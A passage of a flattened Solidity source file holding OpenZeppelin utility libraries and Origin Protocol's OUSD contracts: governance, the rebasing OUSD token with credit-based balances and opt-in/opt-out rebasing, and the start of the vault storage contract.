require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/upgrades/contracts/Initializable.sol
pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// File: contracts/interfaces/IStrategy.sol
pragma solidity 0.5.11;
/**
* @title Platform interface to integrate with lending platform like Compound, AAVE etc.
*/
interface IStrategy {
/**
* @dev Deposit the given asset to platform
* @param _asset asset address
* @param _amount Amount to deposit
*/
function deposit(address _asset, uint256 _amount) external;
/**
* @dev Deposit the entire balance of all supported assets in the Strategy
* to the platform
*/
function depositAll() external;
/**
* @dev Withdraw given asset from Lending platform
*/
function withdraw(
address _recipient,
address _asset,
uint256 _amount
) external;
/**
* @dev Liquidate all assets in strategy and return them to Vault.
*/
function withdrawAll() external;
/**
* @dev Returns the current balance of the given asset.
*/
function checkBalance(address _asset)
external
view
returns (uint256 balance);
/**
* @dev Returns bool indicating whether strategy supports asset.
*/
function supportsAsset(address _asset) external view returns (bool);
/**
* @dev Collect reward tokens from the Strategy.
*/
function collectRewardToken() external;
/**
* @dev The address of the reward token for the Strategy.
*/
function rewardTokenAddress() external pure returns (address);
/**
* @dev The threshold (denominated in the reward token) over which the
* vault will auto harvest on allocate calls.
*/
function rewardLiquidationThreshold() external pure returns (uint256);
}
// File: contracts/governance/Governable.sol
pragma solidity 0.5.11;
/**
* @title OUSD Governable Contract
* @dev Copy of the openzeppelin Ownable.sol contract with nomenclature change
* from owner to governor and renounce methods removed. Does not use
* Context.sol like Ownable.sol does for simplification.
* @author Origin Protocol Inc
*/
contract Governable {
// Storage position of the owner and pendingOwner of the contract
// keccak256("OUSD.governor");
bytes32
private constant governorPosition = 0x7bea13895fa79d2831e0a9e28edede30099005a50d652d8957cf8a607ee6ca4a;
// keccak256("OUSD.pending.governor");
bytes32
private constant pendingGovernorPosition = 0x44c4d30b2eaad5130ad70c3ba6972730566f3e6359ab83e800d905c61b1c51db;
// keccak256("OUSD.reentry.status");
bytes32
private constant reentryStatusPosition = 0x53bf423e48ed90e97d02ab0ebab13b2a235a6bfbe9c321847d5c175333ac4535;
// See OpenZeppelin ReentrancyGuard implementation
uint256 constant _NOT_ENTERED = 1;
uint256 constant _ENTERED = 2;
event PendingGovernorshipTransfer(
address indexed previousGovernor,
address indexed newGovernor
);
event GovernorshipTransferred(
address indexed previousGovernor,
address indexed newGovernor
);
/**
* @dev Initializes the contract setting the deployer as the initial Governor.
*/
constructor() internal {
_setGovernor(msg.sender);
emit GovernorshipTransferred(address(0), _governor());
}
/**
* @dev Returns the address of the current Governor.
*/
function governor() public view returns (address) {
return _governor();
}
/**
* @dev Returns the address of the current Governor.
*/
function _governor() internal view returns (address governorOut) {
bytes32 position = governorPosition;
assembly {
governorOut := sload(position)
}
}
/**
* @dev Returns the address of the pending Governor.
*/
function _pendingGovernor()
internal
view
returns (address pendingGovernor)
{
bytes32 position = pendingGovernorPosition;
assembly {
pendingGovernor := sload(position)
}
}
/**
* @dev Throws if called by any account other than the Governor.
*/
modifier onlyGovernor() {
require(isGovernor(), "Caller is not the Governor");
_;
}
/**
* @dev Returns true if the caller is the current Governor.
*/
function isGovernor() public view returns (bool) {
return msg.sender == _governor();
}
function _setGovernor(address newGovernor) internal {
bytes32 position = governorPosition;
assembly {
sstore(position, newGovernor)
}
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
bytes32 position = reentryStatusPosition;
uint256 _reentry_status;
assembly {
_reentry_status := sload(position)
}
// On the first call to nonReentrant, _notEntered will be true
require(_reentry_status != _ENTERED, "Reentrant call");
// Any calls to nonReentrant after this point will fail
assembly {
sstore(position, _ENTERED)
}
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
assembly {
sstore(position, _NOT_ENTERED)
}
}
function _setPendingGovernor(address newGovernor) internal {
bytes32 position = pendingGovernorPosition;
assembly {
sstore(position, newGovernor)
}
}
/**
* @dev Transfers Governance of the contract to a new account (`newGovernor`).
* Can only be called by the current Governor. Must be claimed for this to complete
* @param _newGovernor Address of the new Governor
*/
function transferGovernance(address _newGovernor) external onlyGovernor {
_setPendingGovernor(_newGovernor);
emit PendingGovernorshipTransfer(_governor(), _newGovernor);
}
/**
* @dev Claim Governance of the contract to a new account (`newGovernor`).
* Can only be called by the new Governor.
*/
function claimGovernance() external {
require(
msg.sender == _pendingGovernor(),
"Only the pending Governor can complete the claim"
);
_changeGovernor(msg.sender);
}
/**
* @dev Change Governance of the contract to a new account (`newGovernor`).
* @param _newGovernor Address of the new Governor
*/
function _changeGovernor(address _newGovernor) internal {
require(_newGovernor != address(0), "New Governor is address(0)");
emit GovernorshipTransferred(_governor(), _newGovernor);
_setGovernor(_newGovernor);
}
}
// File: contracts/utils/InitializableERC20Detailed.sol
pragma solidity 0.5.11;
/**
* @dev Optional functions from the ERC20 standard.
* Converted from openzeppelin/contracts/token/ERC20/ERC20Detailed.sol
*/
contract InitializableERC20Detailed is IERC20 {
// Storage gap to skip storage from prior to OUSD reset
uint256[100] private _____gap;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
* @notice To avoid variable shadowing appended `Arg` after arguments name.
*/
function _initialize(
string memory nameArg,
string memory symbolArg,
uint8 decimalsArg
) internal {
_name = nameArg;
_symbol = symbolArg;
_decimals = decimalsArg;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
// File: contracts/utils/StableMath.sol
pragma solidity 0.5.11;
// Based on StableMath from Stability Labs Pty. Ltd.
// https://github.com/mstable/mStable-contracts/blob/master/contracts/shared/StableMath.sol
library StableMath {
using SafeMath for uint256;
/**
* @dev Scaling unit for use in specific calculations,
* where 1 * 10**18, or 1e18 represents a unit '1'
*/
uint256 private constant FULL_SCALE = 1e18;
/***************************************
Helpers
****************************************/
/**
* @dev Adjust the scale of an integer
* @param adjustment Amount to adjust by e.g. scaleBy(1e18, -1) == 1e17
*/
function scaleBy(uint256 x, int8 adjustment)
internal
pure
returns (uint256)
{
if (adjustment > 0) {
x = x.mul(10**uint256(adjustment));
} else if (adjustment < 0) {
x = x.div(10**uint256(adjustment * -1));
}
return x;
}
/***************************************
Precise Arithmetic
****************************************/
/**
* @dev Multiplies two precise units, and then truncates by the full scale
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit
*/
function mulTruncate(uint256 x, uint256 y) internal pure returns (uint256) {
return mulTruncateScale(x, y, FULL_SCALE);
}
/**
* @dev Multiplies two precise units, and then truncates by the given scale. For example,
* when calculating 90% of 10e18, (10e18 * 9e17) / 1e18 = (9e36) / 1e18 = 9e18
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @param scale Scale unit
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit
*/
function mulTruncateScale(
uint256 x,
uint256 y,
uint256 scale
) internal pure returns (uint256) {
// e.g. assume scale = fullScale
// z = 10e18 * 9e17 = 9e36
uint256 z = x.mul(y);
// return 9e38 / 1e18 = 9e18
return z.div(scale);
}
/**
* @dev Multiplies two precise units, and then truncates by the full scale, rounding up the result
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit, rounded up to the closest base unit.
*/
function mulTruncateCeil(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
// e.g. 8e17 * 17268172638 = 138145381104e17
uint256 scaled = x.mul(y);
// e.g. 138145381104e17 + 9.99...e17 = 138145381113.99...e17
uint256 ceil = scaled.add(FULL_SCALE.sub(1));
// e.g. 13814538111.399...e18 / 1e18 = 13814538111
return ceil.div(FULL_SCALE);
}
/**
* @dev Precisely divides two units, by first scaling the left hand operand. Useful
* for finding percentage weightings, i.e. 8e18/10e18 = 80% (or 8e17)
* @param x Left hand input to division
* @param y Right hand input to division
* @return Result after multiplying the left operand by the scale, and
* executing the division on the right hand input.
*/
function divPrecisely(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
// e.g. 8e18 * 1e18 = 8e36
uint256 z = x.mul(FULL_SCALE);
// e.g. 8e36 / 10e18 = 8e17
return z.div(y);
}
}
// File: contracts/token/OUSD.sol
pragma solidity 0.5.11;
/**
* @title OUSD Token Contract
* @dev ERC20 compatible contract for OUSD
* @dev Implements an elastic supply
* @author Origin Protocol Inc
*/
/**
* NOTE that this is an ERC20 token but the invariant that the sum of
* balanceOf(x) for all x is not >= totalSupply(). This is a consequence of the
* rebasing design. Any integrations with OUSD should be aware.
*/
contract OUSD is Initializable, InitializableERC20Detailed, Governable {
using SafeMath for uint256;
using StableMath for uint256;
event TotalSupplyUpdated(
uint256 totalSupply,
uint256 rebasingCredits,
uint256 rebasingCreditsPerToken
);
enum RebaseOptions { NotSet, OptOut, OptIn }
uint256 private constant MAX_SUPPLY = ~uint128(0); // (2^128) - 1
uint256 public _totalSupply;
mapping(address => mapping(address => uint256)) private _allowances;
address public vaultAddress = address(0);
mapping(address => uint256) private _creditBalances;
uint256 public rebasingCredits;
uint256 public rebasingCreditsPerToken;
// Frozen address/credits are non rebasing (value is held in contracts which
// do not receive yield unless they explicitly opt in)
uint256 public nonRebasingSupply;
mapping(address => uint256) public nonRebasingCreditsPerToken;
mapping(address => RebaseOptions) public rebaseState;
function initialize(
string calldata _nameArg,
string calldata _symbolArg,
address _vaultAddress
) external onlyGovernor initializer {
InitializableERC20Detailed._initialize(_nameArg, _symbolArg, 18);
rebasingCreditsPerToken = 1e18;
vaultAddress = _vaultAddress;
}
/**
* @dev Verifies that the caller is the Savings Manager contract
*/
modifier onlyVault() {
require(vaultAddress == msg.sender, "Caller is not the Vault");
_;
}
/**
* @return The total supply of OUSD.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param _account Address to query the balance of.
* @return A uint256 representing the _amount of base units owned by the
* specified address.
*/
function balanceOf(address _account) public view returns (uint256) {
if (_creditBalances[_account] == 0) return 0;
return
_creditBalances[_account].divPrecisely(_creditsPerToken(_account));
}
/**
* @dev Gets the credits balance of the specified address.
* @param _account The address to query the balance of.
* @return (uint256, uint256) Credit balance and credits per token of the
* address
*/
function creditsBalanceOf(address _account)
public
view
returns (uint256, uint256)
{
return (_creditBalances[_account], _creditsPerToken(_account));
}
/**
* @dev Transfer tokens to a specified address.
* @param _to the address to transfer to.
* @param _value the _amount to be transferred.
* @return true on success.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0), "Transfer to zero address");
require(
_value <= balanceOf(msg.sender),
"Transfer greater than balance"
);
_executeTransfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* @param _from The address you want to send tokens from.
* @param _to The address you want to transfer to.
* @param _value The _amount of tokens to be transferred.
*/
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool) {
require(_to != address(0), "Transfer to zero address");
require(_value <= balanceOf(_from), "Transfer greater than balance");
_allowances[_from][msg.sender] = _allowances[_from][msg.sender].sub(
_value
);
_executeTransfer(_from, _to, _value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Update the count of non rebasing credits in response to a transfer
* @param _from The address you want to send tokens from.
* @param _to The address you want to transfer to.
* @param _value Amount of OUSD to transfer
*/
function _executeTransfer(
address _from,
address _to,
uint256 _value
) internal {
bool isNonRebasingTo = _isNonRebasingAccount(_to);
bool isNonRebasingFrom = _isNonRebasingAccount(_from);
// Credits deducted and credited might be different due to the
// differing creditsPerToken used by each account
uint256 creditsCredited = _value.mulTruncate(_creditsPerToken(_to));
uint256 creditsDeducted = _value.mulTruncate(_creditsPerToken(_from));
_creditBalances[_from] = _creditBalances[_from].sub(
creditsDeducted,
"Transfer amount exceeds balance"
);
_creditBalances[_to] = _creditBalances[_to].add(creditsCredited);
if (isNonRebasingTo && !isNonRebasingFrom) {
// Transfer to non-rebasing account from rebasing account, credits
// are removed from the non rebasing tally
nonRebasingSupply = nonRebasingSupply.add(_value);
// Update rebasingCredits by subtracting the deducted amount
rebasingCredits = rebasingCredits.sub(creditsDeducted);
} else if (!isNonRebasingTo && isNonRebasingFrom) {
// Transfer to rebasing account from non-rebasing account
// Decreasing non-rebasing credits by the amount that was sent
nonRebasingSupply = nonRebasingSupply.sub(_value);
// Update rebasingCredits by adding the credited amount
rebasingCredits = rebasingCredits.add(creditsCredited);
}
}
/**
* @dev Function to check the _amount of tokens that an owner has allowed to a _spender.
* @param _owner The address which owns the funds.
* @param _spender The address which will spend the funds.
* @return The number of tokens still available for the _spender.
*/
function allowance(address _owner, address _spender)
public
view
returns (uint256)
{
return _allowances[_owner][_spender];
}
/**
* @dev Approve the passed address to spend the specified _amount of tokens on behalf of
* msg.sender. This method is included for ERC20 compatibility.
* increaseAllowance and decreaseAllowance should be used instead.
* Changing an allowance with this method brings the risk that someone may transfer both
* the old and the new allowance - if they are both greater than zero - if a transfer
* transaction is mined before the later approve() call is mined.
*
* @param _spender The address which will spend the funds.
* @param _value The _amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
_allowances[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Increase the _amount of tokens that an owner has allowed to a _spender.
* This method should be used instead of approve() to avoid the double approval vulnerability
* described above.
* @param _spender The address which will spend the funds.
* @param _addedValue The _amount of tokens to increase the allowance by.
*/
function increaseAllowance(address _spender, uint256 _addedValue)
public
returns (bool)
{
_allowances[msg.sender][_spender] = _allowances[msg.sender][_spender]
.add(_addedValue);
emit Approval(msg.sender, _spender, _allowances[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the _amount of tokens that an owner has allowed to a _spender.
* @param _spender The address which will spend the funds.
* @param _subtractedValue The _amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address _spender, uint256 _subtractedValue)
public
returns (bool)
{
uint256 oldValue = _allowances[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
_allowances[msg.sender][_spender] = 0;
} else {
_allowances[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, _allowances[msg.sender][_spender]);
return true;
}
/**
* @dev Mints new tokens, increasing totalSupply.
*/
function mint(address _account, uint256 _amount) external onlyVault {
_mint(_account, _amount);
}
/**
* @dev Creates `_amount` tokens and assigns them to `_account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address _account, uint256 _amount) internal nonReentrant {
require(_account != address(0), "Mint to the zero address");
bool isNonRebasingAccount = _isNonRebasingAccount(_account);
uint256 creditAmount = _amount.mulTruncate(_creditsPerToken(_account));
_creditBalances[_account] = _creditBalances[_account].add(creditAmount);
// If the account is non rebasing and doesn't have a set creditsPerToken
// then set it i.e. this is a mint from a fresh contract
if (isNonRebasingAccount) {
nonRebasingSupply = nonRebasingSupply.add(_amount);
} else {
rebasingCredits = rebasingCredits.add(creditAmount);
}
_totalSupply = _totalSupply.add(_amount);
require(_totalSupply < MAX_SUPPLY, "Max supply");
emit Transfer(address(0), _account, _amount);
}
/**
* @dev Burns tokens, decreasing totalSupply.
*/
function burn(address account, uint256 amount) external onlyVault {
_burn(account, amount);
}
/**
* @dev Destroys `_amount` tokens from `_account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `_account` cannot be the zero address.
* - `_account` must have at least `_amount` tokens.
*/
function _burn(address _account, uint256 _amount) internal nonReentrant {
require(_account != address(0), "Burn from the zero address");
if (_amount == 0) {
return;
}
bool isNonRebasingAccount = _isNonRebasingAccount(_account);
uint256 creditAmount = _amount.mulTruncate(_creditsPerToken(_account));
uint256 currentCredits = _creditBalances[_account];
// Remove the credits, burning rounding errors
if (
currentCredits == creditAmount || currentCredits - 1 == creditAmount
) {
// Handle dust from rounding
_creditBalances[_account] = 0;
} else if (currentCredits > creditAmount) {
_creditBalances[_account] = _creditBalances[_account].sub(
creditAmount
);
} else {
revert("Remove exceeds balance");
}
// Remove from the credit tallies and non-rebasing supply
if (isNonRebasingAccount) {
nonRebasingSupply = nonRebasingSupply.sub(_amount);
} else {
rebasingCredits = rebasingCredits.sub(creditAmount);
}
_totalSupply = _totalSupply.sub(_amount);
emit Transfer(_account, address(0), _amount);
}
/**
* @dev Get the credits per token for an account. Returns a fixed amount
* if the account is non-rebasing.
* @param _account Address of the account.
*/
function _creditsPerToken(address _account)
internal
view
returns (uint256)
{
if (nonRebasingCreditsPerToken[_account] != 0) {
return nonRebasingCreditsPerToken[_account];
} else {
return rebasingCreditsPerToken;
}
}
/**
* @dev Is an account using rebasing accounting or non-rebasing accounting?
* Also, ensure contracts are non-rebasing if they have not opted in.
* @param _account Address of the account.
*/
function _isNonRebasingAccount(address _account) internal returns (bool) {
bool isContract = Address.isContract(_account);
if (isContract && rebaseState[_account] == RebaseOptions.NotSet) {
_ensureRebasingMigration(_account);
}
return nonRebasingCreditsPerToken[_account] > 0;
}
/**
* @dev Ensures internal account for rebasing and non-rebasing credits and
* supply is updated following deployment of frozen yield change.
*/
function _ensureRebasingMigration(address _account) internal {
if (nonRebasingCreditsPerToken[_account] == 0) {
// Set fixed credits per token for this account
nonRebasingCreditsPerToken[_account] = rebasingCreditsPerToken;
// Update non rebasing supply
nonRebasingSupply = nonRebasingSupply.add(balanceOf(_account));
// Update credit tallies
rebasingCredits = rebasingCredits.sub(_creditBalances[_account]);
}
}
/**
* @dev Add a contract address to the non rebasing exception list. I.e. the
* address's balance will be part of rebases so the account will be exposed
* to upside and downside.
*/
function rebaseOptIn() public nonReentrant {
require(_isNonRebasingAccount(msg.sender), "Account has not opted out");
// Convert balance into the same amount at the current exchange rate
uint256 newCreditBalance = _creditBalances[msg.sender]
.mul(rebasingCreditsPerToken)
.div(_creditsPerToken(msg.sender));
// Decreasing non rebasing supply
nonRebasingSupply = nonRebasingSupply.sub(balanceOf(msg.sender));
_creditBalances[msg.sender] = newCreditBalance;
// Increase rebasing credits, totalSupply remains unchanged so no
// adjustment necessary
rebasingCredits = rebasingCredits.add(_creditBalances[msg.sender]);
rebaseState[msg.sender] = RebaseOptions.OptIn;
// Delete any fixed credits per token
delete nonRebasingCreditsPerToken[msg.sender];
}
/**
* @dev Remove a contract address to the non rebasing exception list.
*/
function rebaseOptOut() public nonReentrant {
require(!_isNonRebasingAccount(msg.sender), "Account has not opted in");
// Increase non rebasing supply
nonRebasingSupply = nonRebasingSupply.add(balanceOf(msg.sender));
// Set fixed credits per token
nonRebasingCreditsPerToken[msg.sender] = rebasingCreditsPerToken;
// Decrease rebasing credits, total supply remains unchanged so no
// adjustment necessary
rebasingCredits = rebasingCredits.sub(_creditBalances[msg.sender]);
// Mark explicitly opted out of rebasing
rebaseState[msg.sender] = RebaseOptions.OptOut;
}
/**
* @dev Modify the supply without minting new tokens. This uses a change in
* the exchange rate between "credits" and OUSD tokens to change balances.
* @param _newTotalSupply New total supply of OUSD.
* @return uint256 representing the new total supply.
*/
function changeSupply(uint256 _newTotalSupply)
external
onlyVault
nonReentrant
{
require(_totalSupply > 0, "Cannot increase 0 supply");
if (_totalSupply == _newTotalSupply) {
emit TotalSupplyUpdated(
_totalSupply,
rebasingCredits,
rebasingCreditsPerToken
);
return;
}
_totalSupply = _newTotalSupply > MAX_SUPPLY
? MAX_SUPPLY
: _newTotalSupply;
rebasingCreditsPerToken = rebasingCredits.divPrecisely(
_totalSupply.sub(nonRebasingSupply)
);
require(rebasingCreditsPerToken > 0, "Invalid change in supply");
_totalSupply = rebasingCredits
.divPrecisely(rebasingCreditsPerToken)
.add(nonRebasingSupply);
emit TotalSupplyUpdated(
_totalSupply,
rebasingCredits,
rebasingCreditsPerToken
);
}
}
// File: contracts/interfaces/IBasicToken.sol
pragma solidity 0.5.11;
interface IBasicToken {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// File: contracts/utils/Helpers.sol
pragma solidity 0.5.11;
library Helpers {
/**
* @notice Fetch the `symbol()` from an ERC20 token
* @dev Grabs the `symbol()` from a contract
* @param _token Address of the ERC20 token
* @return string Symbol of the ERC20 token
*/
function getSymbol(address _token) internal view returns (string memory) {
string memory symbol = IBasicToken(_token).symbol();
return symbol;
}
/**
* @notice Fetch the `decimals()` from an ERC20 token
* @dev Grabs the `decimals()` from a contract and fails if
* the decimal value does not live within a certain range
* @param _token Address of the ERC20 token
* @return uint256 Decimals of the ERC20 token
*/
function getDecimals(address _token) internal view returns (uint256) {
uint256 decimals = IBasicToken(_token).decimals();
require(
decimals >= 4 && decimals <= 18,
"Token must have sufficient decimal places"
);
return decimals;
}
}
// File: contracts/vault/VaultStorage.sol
pragma solidity 0.5.11;
/**
* @title OUSD VaultStorage Contract
* @notice The VaultStorage contract defines the storage for the Vault contracts
* @author Origin Protocol Inc
*/
contract VaultStorage is Initializable, Governable {
using SafeMath for uint256;
using StableMath for uint256;
using SafeMath for int256;
using SafeERC20 for IERC20;
event AssetSupported(address _asset);
event AssetDefaultStrategyUpdated(address _asset, address _strategy);
event StrategyApproved(address _addr);
event StrategyRemoved(address _addr);
event Mint(address _addr, uint256 _value);
event Redeem(address _addr, uint256 _value);
event CapitalPaused();
event CapitalUnpaused();
event RebasePaused();
event RebaseUnpaused();
event VaultBufferUpdated(uint256 _vaultBuffer);
event RedeemFeeUpdated(uint256 _redeemFeeBps);
event PriceProviderUpdated(address _priceProvider);
event AllocateThresholdUpdated(uint256 _threshold);
event RebaseThresholdUpdated(uint256 _threshold);
event UniswapUpdated(address _address);
event StrategistUpdated(address _address);
event MaxSupplyDiffChanged(uint256 maxSupplyDiff);
event YieldDistribution(address _to, uint256 _yield, uint256 _fee);
event TrusteeFeeBpsChanged(uint256 _basis);
event TrusteeAddressChanged(address _address);
// Assets supported by the Vault, i.e. Stablecoins
struct Asset {
bool isSupported;
}
mapping(address => Asset) assets;
address[] allAssets;
// Strategies approved for use by the Vault
struct Strategy {
bool isSupported;
uint256 _deprecated; // Deprecated storage slot
}
mapping(address => Strategy) strategies;
address[] allStrategies;
// Address of the Oracle price provider contract
address public priceProvider;
// Pausing bools
bool public rebasePaused = false;
bool public capitalPaused = true;
// Redemption fee in basis points
uint256 public redeemFeeBps;
// Buffer of assets to keep in Vault to handle (most) withdrawals
uint256 public vaultBuffer;
// Mints over this amount automatically allocate funds. 18 decimals.
uint256 public autoAllocateThreshold;
// Mints over this amount automatically rebase. 18 decimals.
uint256 public rebaseThreshold;
OUSD oUSD;
//keccak256("OUSD.vault.governor.admin.impl");
bytes32 constant adminImplPosition = 0xa2bd3d3cf188a41358c8b401076eb59066b09dec5775650c0de4c55187d17bd9;
// Address of the contract responsible for post rebase syncs with AMMs
address private _deprecated_rebaseHooksAddr = address(0);
// Address of Uniswap
address public uniswapAddr = address(0);
// Address of the Strategist
address public strategistAddr = address(0);
// Mapping of asset address to the Strategy that they should automatically
// be allocated to
mapping(address => address) public assetDefaultStrategies;
uint256 public maxSupplyDiff;
// Trustee address that can collect a percentage of yield
address public trusteeAddress;
// Amount of yield collected in basis points
